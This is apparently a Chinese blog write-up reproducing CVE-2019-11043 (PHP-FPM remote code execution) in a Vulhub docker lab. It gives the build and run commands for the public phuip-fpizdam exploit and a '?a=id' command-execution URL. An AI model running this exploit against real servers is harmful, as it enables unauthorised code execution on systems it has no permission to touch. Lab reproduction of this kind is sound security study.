漏洞描述
CVE-2019-11043 是一個遠程代碼執行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服務器存在漏洞,可允許攻擊者遠程執行代碼。
向Nginx + PHP-FPM的服務器 URL發送 %0a 時,服務器返回異常。
攻擊者可以使用換行符(%0a)來破壞fastcgi_split_path_info
指令中的Regexp。Regexp被損壞導致PATH_INFO為空,從而觸發該漏洞。
影響范圍
在 Nginx + PHP-FPM 環境下,當啟用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影響,
另外,PHP 5.6版本也受此漏洞影響,但目前只能 Crash,不可以遠程代碼執行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
漏洞環境:
攻擊機:
kali
需要安裝:
Go環境
安裝:
sudo apt-get install docker docker-compose
sudo apt install golang
工具:
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
使用:
cd phuip-fpizdam/
./phuip-fpizdam/
go run . http://ip:8080/index.php
靶機:
ubantu
靶場:
Vulhub
安裝:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d
漏洞復現:
啟動環境之后,就可以看到漏洞環境的默認頁面。在此為 http://ip:8080/index.php。
上邊工具安裝完成之后,run 一下
然后訪問
http://192.168.123.190:8080/index.php?a=id
此次復現成功。
企鵝群:1045867209
歡迎各位表哥
博主公眾號
本文歡迎轉載。 如轉載請務必注明出處。 覺得寫的不錯的可以右側打賞一手。 群在上邊歡迎大家來撩。